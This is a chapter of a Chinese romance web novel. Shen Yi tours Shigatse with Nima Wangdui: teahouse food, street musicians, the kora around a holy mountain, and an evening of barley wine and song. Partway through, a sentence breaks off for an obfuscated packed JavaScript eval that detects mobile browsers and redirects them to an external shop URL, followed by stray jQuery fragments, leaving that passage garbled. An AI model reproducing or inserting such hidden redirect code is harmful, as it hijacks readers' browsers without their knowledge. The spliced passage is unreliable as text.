回到茶馆上接阿妈米玛啦时，老阿姨们看着一同回来的两个年轻人，彼此交换了一个眼神，脸上露出心照不宣的慈祥笑容。尼玛旺堆似乎有点不好意思，快速用藏语说了几句，便准备扶着母亲往停车的地方走去，但阿妈米玛啦让他们先坐下，吃个饭。


    尼玛旺堆无奈，只好顺着母亲，但他没有立刻坐下，而是接过阿妈手里的铜壶，微微躬身，为两位长辈面前的木碗斟满甜茶。他的动作熟练而恭敬，手腕稳当，泛着蜜色的茶水划出一道温顺的弧线，恰好停在碗沿下方一线，一滴未溅。


    沈翊安静地看着。


    刚才在寺庙外，那个言辞锋利、眼神如雪山之鹰的年轻人，此刻被茶馆暖烘烘的烟火气包裹，收敛了所有锋芒，变回一个再寻常不过的、孝顺又周到的藏族小伙子。这种切换如此自然，仿佛他体内有两个互不干扰的灵魂，一个属于旷野，一个属于炊烟和亲人。沈翊心里那点因辩论而激起的涟漪尚未平复，此刻又添了一丝复杂的探究，他究竟还有多少面目，是自己未曾见过的？


    言语间，他们似乎很是愉快。阿妈米玛啦脸上的皱纹都舒展开来，说着沈翊听不懂的藏语，笑声低低的。尼玛旺堆偶尔插话，表情是沈翊从未见过的放松，甚至有点属于他这个年纪的调皮。沈翊忽然觉得，自己像个误入温馨家庭剧场的局外人，台上演着温暖的默剧，而他坐在黑暗的观众席，连台词本都没有。


    尼玛旺堆给他倒满甜茶，碗推到他面前时，指尖不经意擦过沈翊的手背。很轻，很快，像一片雪落下即化。沈翊却像被烫到般，手指微微蜷缩。


    “哥，饿了吧？看看想吃点什么？”尼玛旺堆问，声音恢复了平时的温和，却又似乎比平时更近一些。他这才想起，已经下午一点半了，确实该吃饭了。时间在寺庙和思想的激荡里溜得飞快。


    他对尼玛旺堆微微点头，喉结滚动了一下，没说出话。点头似乎成了他此刻最安全的选择。


    取餐处人声鼎沸，自助式的，点了就取，付钱走人，效率极高。沈翊望着密密匝匝的人头，理解了这种简单粗暴的运营模式。


    在这里，温情脉脉的餐桌服务或许才是奢侈。尼玛旺堆熟门熟路，用藏语快速点了单：炸土豆、藏面、二十个肉馅“藏式肉包”、几张肉饼。他付钱的动作干脆利落，没给沈翊任何掏钱包的机会。


    “尝尝这个，”他把一个金黄油亮的“摸摸”递到沈翊手里，“牛肉馅的。”


    沈翊咬了一口。面皮有嚼劲，内里的肉馅丰腴多汁，混合着某种清香的植物味道，大概是本地独有的香料。温热扎实的食物落进空荡的胃里，带来一种近乎感动的慰藉。他忽然涌起一股强烈的冲动，他想了解这一切，不仅仅是食物，还有叫出它们名字的声音。


    “尼玛，”他咽下食物，眼睛因为期待而显得格外亮，“这几个……用藏语怎么说？”


    尼玛旺堆愣了一下，随即笑了起来，那笑容毫无杂质，清澈得像雪山融水。“你想学？”他好像觉得这很有趣，一字一顿地教：“炸土豆，‘轩锅凯尔’（xuāguàkairà）。藏面，‘普度’（pùdù）。这个，”他指指沈翊手里的半圆，“叫‘摸摸’（mómò）。肉饼是‘夏帕里’（xiàpálì）。”


    沈翊跟着念，舌头却笨拙得不听使唤，卷舌音和平舌音打架，声调更是古怪。尼玛旺堆没有嘲笑，只是耐心地重复，他的藏语发音低沉圆润，像一块被河水磨润的卵石，听着就让人觉得踏实。


    沈翊念到第三遍“普度”时，尼玛旺堆忽然说：“差不多了，很有意思。”他的目光落在沈翊因为努力而微微泛红的脸上，停留了片刻，才移开。


    就在这时，一个抱着巨大黑色塑料袋的年轻人挤过来，袋子里是卫生纸。尼玛旺堆几乎看也没看，便掏出零钱买了两包，动作流畅得如同呼吸。沈翊这才注意到，茶馆里几乎每桌都光顾了这年轻人的生意。一种他难以理解的行为，却在这里无声运行。


    卫生纸的小插曲刚过，一阵欢快的乐音便钻进了耳朵。沈翊循声望去，邻桌一位穿着半旧藏袍的中年男人，正抱着一把形状奇特的乐器弹唱。


    那乐器颈长身小，像个放大的匙勺，琴头雕刻着简单的花纹。


    “那是扎木念。”尼玛旺堆的声音适时响起，解答了他未问出口的疑惑。“也有人写成扎木聂，我们这儿的老乐器了。”


    弹唱者摇头晃脑，手指在琴弦上飞舞，脚板还跟着节奏轻轻拍打地面，整个人沉浸其中，自得其乐。


    前桌的客人笑着双手给他递了五块钱。很快，他挪到了他们这桌。沈翊嘴里还塞着半个“摸摸”，忘了咀嚼，只是看着。男人唱的歌词他不懂，但那调子轻快里带着一丝古老的忧伤，像在讲述一个关于远行和等待的故事。


    尼玛旺堆从口袋里拿出一张十元纸币，双手递给来人。男人歌声未停，只是冲他眨了眨眼，脚上的节奏更欢快了些。


    等人走远，尼玛旺堆才低声说：“他们是‘自学派’，心里有谱，手上就有音。以前的乐谱不是我们现在看到的样子，有自己的规矩，可惜……很多丢了，像躲起来的孩子。”他喝了一口茶，眼神有些飘远，“不过歌留下来了。靠耳朵，靠心。有人说他们像乞丐，我不觉得。这是本事，是活着的历史。真让他们去正规乐队，那些照着谱子、练着标准动作的人，未必有他们这股子‘魂’。”


    他顿了顿，自嘲地笑了笑：“又说远了。哥，藏面够吗？要不要再添点？”


    沈翊点点头。面碗确实见了底。


    他看着尼玛旺堆起身去加面的背影，宽阔的肩背在略显拥挤的桌椅间灵活地穿行。这个二十二岁的青年，能冷静地剖析网络暴力，能虔诚地转山拜佛，能熟练地操持家务照顾牲畜，也能对着一个街头艺人，说出关于“魂”与“历史”的话。沈翊感到心脏某处被一种沉重而温暖的东西填满了，那不仅仅是吸引，更近乎一种震撼。


    他清晰地意识到：这个人扎根于此，他的血脉、智慧、情感，都与这片土地紧紧缠绕。自己那点漂泊无依的心动，在这份深沉如大地般的归属感面前，显得轻飘而徒劳。


    “趁热吃。”尼玛旺堆回来了，面碗带着腾腾热气放在他面前，打断了他有些危险的思绪。


    两人安静地吃完。尼玛旺堆看了一眼手机：“想去一下步行街吗？路挺好走。”


    “去”沈翊说。


    穿过马路，路边是一排卖纪念品的小摊。珠串、手镯、木碗、各种石头……在午后阳光下闪着廉价而热闹的光。沈翊的目光被几颗纹路奇特的“天珠”吸引，刚想凑近看看，身后传来尼玛旺堆没什么温度的声音：“那个，还不如买这个。”他拿起一个铜制的、刻满复杂符号的圆形挂牌，“米隆，也叫巴卡，汉话叫九宫八卦牌。老东西了，苯教来的，后来佛教也用。算是个……护身的意思。”


    沈翊不解：“那个天珠……”


    “假的。”尼玛旺堆言简意赅，脸上露出一丝“你怎么这都不懂”的无奈，但眼神里并无责怪，反而有种“我得看着你免得你上当”的理所当然。“这个实在点，有藏式样子，送人或者自己留着都行。”


    沈翊顺从地买下了那块“米隆”。金属入手微凉，沉甸甸的，刻痕深峻。尼玛旺堆接过，帮他和老板砍价，从三十五砍到十块，老板居然爽快答应了。他拿着牌子，有点小得意地冲沈翊扬了扬眉。沈翊看着他孩子气的表情，心里那点关于“沉重归属”的忧虑，忽然被冲淡了些，泛起一丝无奈的甜。这个人，怎么可以同时拥有那么深的思想和这么简单的快乐？


    他们转着转着又来到了，转山的起点，是一个白色香炉，形似佛塔，中空，香烟袅袅。尼玛旺堆从随身的小布袋里捏出一撮糌粑，用食指和拇指捻着，低声念诵着什么，将糌粑仔细地撒在香炉外壁上，划出特定的图案。


    动作庄重而温柔。旁边有商贩兜售混合好的藏香，但大多数转山者都像尼玛旺堆一样，自带香袋，那种两面绣花、中间开口、垂下流苏的精致小布袋。


    两人就这样又去转一次山。长长的、望不到尽头的转经筒廊，金属筒身被无数只手摩挲得锃亮，在廊下投出晃动的光斑。他们前面是一位老阿妈，左手匀速拨动佛珠，右手依次推动经筒，嘴唇翕动，诵经声低微而持续，脚步稳得不疾不徐。沈翊不合时宜地想：这真是锻炼身体和意志的绝佳方式。


    尼玛旺堆也加入了推转经筒的行列。他高大的身影在一众老人间显得有些突兀，但他自己浑然不觉，神情专注，仿佛这只是日常呼吸的一部分。


    沈翊悄悄落后半步，举起手机，对准他的背影。镜头里，青年微低着头，侧脸线条在廊柱阴影中显得格外清晰有力，推着经筒的手，骨节分明。沈翊迅速按下快门，心虚得像偷了什么珍宝。


    山路蜿蜒向上。在一个拐角，沈翊被一排挂着的帽子吸引住了。五颜六色，各式各样。他拿起一顶黑色的登山帽试戴，转头想问尼玛旺堆意见，却见对方已经拿起一顶醒目的桃粉色毛线帽，毫不犹豫地扣在自己头上，还对着摊主挂着的小镜子照了照。


    沈翊：“……”


    “这个适合你。”尼玛旺堆指着沈翊头上的黑帽子，语气肯定，“挡风，耐脏。”然后他指着自己头上的粉色：“这个，暖和，亮。”他对自己独特的审美似乎非常满意。


    沈翊忍着笑付了钱。


    尼玛旺堆则开始了新一轮砍价，为他的粉帽子。最终以二十元成交。他戴着那顶与他的硬朗气质极其违和的粉帽子，得意地看了沈翊一眼，仿佛打赢了一场胜仗。沈翊别开脸，嘴角却怎么也压不下去。这个人，怎么总能轻易打破他心里刚刚筑起的任何墙围？


    走到半山腰一处平台，尼玛旺堆买了一个热乎乎的炸土豆塞给沈翊，又走到旁边的小卖部，掏出手机，换了一


    大把零钱。


    “现在谁还用这么多现金？”沈翊忍不住问。


    尼玛旺堆只是神秘地摇摇头：“看着吧，下山前，这些就能用完。”


    很快，沈翊就明白了。


    山路旁，开始出现乞讨的人。有的面前摆着病历，有的低声啜泣，有的只是默默跪坐。尼玛旺堆经过时，会停下来，从那一沓零钱里抽出一两张，弯下腰，轻轻放在对方面前的布料袋里或这他们的手上，动作自然得像给自家牛添草料。沈翊注意到，很多人身边也放着微信收款码。他快走几步，拍了拍一个正在刷手机的年轻乞讨者的肩膀，指了指二维码，意思明显：有这个，何必换现金？


    尼玛旺堆看到了，嘴角几不可察地向上弯了一下，随即转身，继续推他的经筒，什么也没说。沈翊却感到脸上一热，自己那点都市人的“效率至上”思维，在这里似乎显得傲慢而浅薄。这不是效率问题，是一种关乎尊严的、面对面的给予。


    越往上，人越多。不只老人，还有穿着时髦的年轻人，带着孩子的父母，甚至有几个深目高鼻的外国人，也都手持念珠，推着经筒。沈翊的呼吸开始粗重，腿像灌了铅，反观那些白发苍苍的老人，依旧步伐稳健。


    “歇会儿。”尼玛旺堆在一处能望见山景的石头旁停下。他指着对面山体上一片明显的白色区域，“看，那是卓玛山的‘乳.房’，所以这座山是女神山。”他的语气平常得像在介绍自家院子里的树。


    沈翊顺着望去，那自然的轮廓确实……他咳了一声，喝了一口尼玛旺堆递过来的水。


    休息片刻继续前行，在一处视野极佳的平台，尼玛旺堆指着远处山巅一处岩石褶皱：“看那里，像不像一个人坐着？那是米拉日巴尊者的自然像。”


    许多人驻足仰望，低声议论，脸上带着敬畏。沈翊凝视着那片历经风霜的岩壁，阳光勾勒出模糊但确实颇具人形的轮廓。是心理作用，还是千万次注视后集体赋予的意象？他分不清，但那种神圣感是真实的。


    从这里开始下山。在半山腰一个突出的观景台，整个日喀则城区尽收眼底。房屋鳞次栉比，远处年楚河如银色丝带蜿蜒，扎什伦布寺的金顶在阳光下熠熠生辉。沈翊停下脚步，一种难以言喻的辽阔感冲击着他。城市、山河、信仰、众生……仿佛都在这俯瞰的视角下被浓缩、又被放大。


    下山的路依然被转经筒环绕。当终于走完最后一圈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182990|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，回到起点附近时，沈翊觉得自己的体力槽彻底空了。尼玛旺堆却在这时转过头，神色无比严肃地看着他：“按规矩，得转满三圈才行。”


    沈翊瞬间僵住，脸上血色褪去，满眼写着“你在开玩笑吗”。


    尼玛旺堆看着他呆滞的表情，没忍住，“噗嗤”一声笑了出来，那双总是显得很认真的眼睛里漾开明亮的、恶作剧得逞般的笑意。“逗你的！一圈就够了，心诚则灵。”


    沈翊：“……”他虚脱般地瘫坐在旁边的石墩上，连瞪对方的力气都没了，心里却奇怪地松快起来，甚至有点想跟着笑。这种轻松的玩笑，是属于“朋友”之间的。他至少，已经是他的朋友了吧？


    回去的路上，又遇见一位艺人，直接坐在路边，靠着墙，懒洋洋地弹着扎木念，面前放钱的塑料袋已经半满。尼玛旺堆走过去，听了完整的一曲，才弯腰放钱。


    “为什么……这些艺人，还有之前山上念经的扎巴，也要这样……”沈翊问得有些迟疑。


    尼玛旺堆边走边说：“有些小寺庙，在很偏的山里，去的人少，香火钱不够。还有的要修庙，塑金身，花费大。出来化缘，也是没办法。”他顿了顿，“当然，里面可能也有假的。但给了，是给的是自己的心意。他们伸手，也需要勇气。”


    沈翊沉默了。他想起茶馆里买卫生纸的青年，想起路上那些真假难辨的乞讨者。这里有一套他仍在努力理解的、关于施与受、面子与里子、信仰与生存的复杂逻辑。


    回程的车上，回程的车里，阿妈米玛啦似乎累了，靠着车窗闭目养神。尼玛旺堆专注地开着车。沈翊坐在后座，看着窗外飞速后退的城市光影，指尖无意识地摩挲着羊毛毯的边缘。身体疲惫，但精神却有一种奇异的饱满。


    “回家”这个词，忽然毫无预兆地跳进他脑海，带着牛粪火炉的温度和酥油茶的香气。他被自己这个念头惊了一下，随即是更深沉的茫然与一丝隐秘的向往。


    到家时，天色已暗。


    阿妈米玛啦上楼后早已将火炉烧得旺旺的，整个屋子暖意熏人。


    尼玛旺堆放下东西，就去给牛添草料，清理牛圈。沈翊看着他在暮色中忙碌的结实背影，想起白天那个谈论音乐灵魂、认真转山、也会戴粉色帽子开玩笑的青年，几个影像重叠在一起，让他的心口涨满了一种酸涩而柔软的情绪。


    晚饭后，阿妈米玛啦坐在火炉旁继续念经。尼玛旺堆起身出去了一会儿，回来时，手里拿着一把他小心抱着的扎木念。他盘腿坐在垫子上，低头调试琴弦，神情专注得像在对待一件圣物。


    几次音调试音后，他抬起头，目光在跳跃的火光中找到了沈翊。“哥，”他叫了一声，声音比平时低，“给你弹一首我们这儿的曲子，《卓木仁青岗拉》。”


    琴声响起。


    前奏干净而悠远，仿佛带着山风的气息。


    接着，他开口唱了。


    不是茶馆艺人那种略带表演性质的嘹亮，而是更低沉、更私密的吟唱。嗓音像被雪山泉水浸过，清澈中带着沙砾的质感，每一个藏语词汇都像一颗圆润的石头，被他妥帖地嵌在旋律的河流里。


    沈翊听不懂歌词，但他听懂了那旋律里的思念、托付，和一抹挥之不去的、明亮的忧伤。他看着尼玛旺堆低垂的眉眼，看着他拨动琴弦的、指腹带着薄茧的手指，看着他随着韵律微微起伏的肩膀。火光在他深邃的轮廓上


    跳舞，将他整个人镀上一层温暖而生动的光晕。


    沈翊看得忘了呼吸。心脏在胸腔里缓慢而沉重地搏动，每一下都敲打着名为“危险”的警钟，可他无法移开视线。这一刻的尼玛旺堆，剥离了所有外衣，只是一个沉浸在音乐里的、纯粹的青年，而这份纯粹，对他有着致命的吸引力。


    一曲终了，余音似乎还在温暖的空气中震颤。尼玛旺堆放下扎木念，拿起早已温在火炉边的青稞酒壶，给沈翊面前的碗斟满碧莹莹的酒液。


    “这曲子，以前是托远行的人捎口信的，”他解释道，眼睛亮亮地看着沈翊，“算是……酒歌的一种。这杯，我敬你。”他自己也满上一碗。


    沈翊端起碗，学着他的样子，用无名指蘸了酒弹洒三下，然后喝了一大口。清甜微酸，酒意温吞地漫上来。


    “来，按规矩，得喝三杯！”尼玛旺堆笑着，又给他满上。


    阿妈米玛啦不知何时也停下了念经，笑着接过儿子递来的扎木念。她弹奏的调子更欢快，节奏感十足，是另一种味道的酒歌。弹完，她也笑着给沈翊添酒。盛情难却，沈翊又喝了两碗。酒意上了头，身体轻飘飘的，那些白日里繁杂的思绪、沉重的自我告诫，似乎都被这温热的酒液暂时融化了，只剩下眼前跳动的火光，和火光旁那个人令人心安的身影。


    尼玛旺堆没有再弹琴，就着阿妈米玛啦轻哼的调子，清唱了一首更热闹的《萨迦酒歌》。他的声音在狭小的空间里回荡，带着一种直抵人心的欢乐力量。沈翊跟着节奏轻轻晃动身体，脸上烧得厉害，不知道是酒，还是别的什么。


    他笑着，听尼玛旺堆讲青稞酒如何像水一样融入他们生活的点点滴滴，讲现在的小孩其实喝得少了。


    他的话在沈翊耳边嗡嗡作响，具体内容听不真切，只觉得那声音好听，那笑容好看，那坐在自己身边、散发着热意的躯体，让人想不顾一切地靠近。


    夜深了，酒意和疲惫终于彻底俘虏了沈翊。


    他记得自己是被尼玛旺堆半扶半搀着回到房间的。倒在厚厚的、带着阳光和干草味道的被褥里时，他最后的意识，是尼玛旺堆帮他掖好被角的手指，和一句模糊的、用汉语说的：“睡吧，哥。”


    黑暗中，沈翊蜷缩起来，酒意让身体的感知变得迟钝，但心里某个地方却清醒地疼着。他知道自己正在滑向一个危险的深渊，那里有他渴望的温暖和光亮，也有他恐惧的碎裂与失落。可这一刻，他累得连挣扎的力气都没有了，只想沉溺在这片由青稞酒、扎木念和那个人构筑的、短暂的温柔幻梦里。


    窗外，西藏的星空沉默地璀璨着，亿万年的注视下，一个人的心动与挣扎，渺小如尘，却也重如群山。